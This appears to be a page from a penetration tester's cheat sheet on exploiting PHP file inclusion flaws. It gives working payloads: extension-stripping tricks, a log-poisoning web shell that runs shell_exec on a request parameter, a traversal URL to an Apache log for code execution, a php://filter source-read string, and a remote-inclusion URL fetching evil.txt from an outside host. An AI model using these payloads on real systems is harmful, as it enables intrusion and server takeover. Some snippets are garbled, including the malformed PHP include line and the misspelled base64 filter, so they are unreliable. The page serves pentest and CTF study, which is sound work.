> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/file-inclusions.md).

# File inclusions (LFI, RFI)

> A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/File_inclusion_vulnerability)

* [GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF](https://github.com/swisskyrepo/PayloadsAllTheThings)

## PHP settings

[PHP Sicherheit: Local & Remote File Inclusion - Webmaster Tipps](https://www.webmaster-tipps.de/php-sicherheit-local-file-inclusion-und-remote-file-inclusion/)

* allow\_url\_include
* allow\_url\_fopen

## String termination

Example:

```php
include("path/ + $GET_['FILE] + ".php);
```

If we want to get rid of the enforced `.php` extension, we must terminate the string before. Following two ways may let you achieve exactly that.

### 1. Null byte poisoning

Terminate string with a null byte: `%00` (PHP < 5.3.4).

```php
filename.txt%00
```

### 2. Query parameter

Add a query parameter.

```php
filename.txt?bla=
```

Above example then becomes `path/filename.txt?bla=.php`, the query parameter is ignored and the file is loaded as desired.

## Local File Inclusion (LFI)

See also [Directory traversal](/the-pentesters-cheat-sheet/exploitation/web/directory-traversal.md).

### Log file poisoning

If requests are written to a log file and you are able to let a php script read and interpret those logs (LFI) you may even be able to gain remote code execution (RCE).

#### Example

Connect to the target.

```bash
nc -nv <ip> <port>
```

Write some php, that gets written into a log file.

```php
<?php echo shell_exec($_GET['cmd']); ?>
```

Exploit an LFI to gain RCE.

```url
http://website.com/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../../../../xampp/apache/logs/access.log%00
```

### Read source files

Use php filter and base64 encoding to bypass php execution and retrieve the source code.

```url
php://filter/convert.base64encode/resource=<file>
```

## Remote File Inclusion (RFI)

```url
http://website.com/addguestbook.php?name=a&comment=b&LANG=http://10.11.0.5/evil.txt%00
```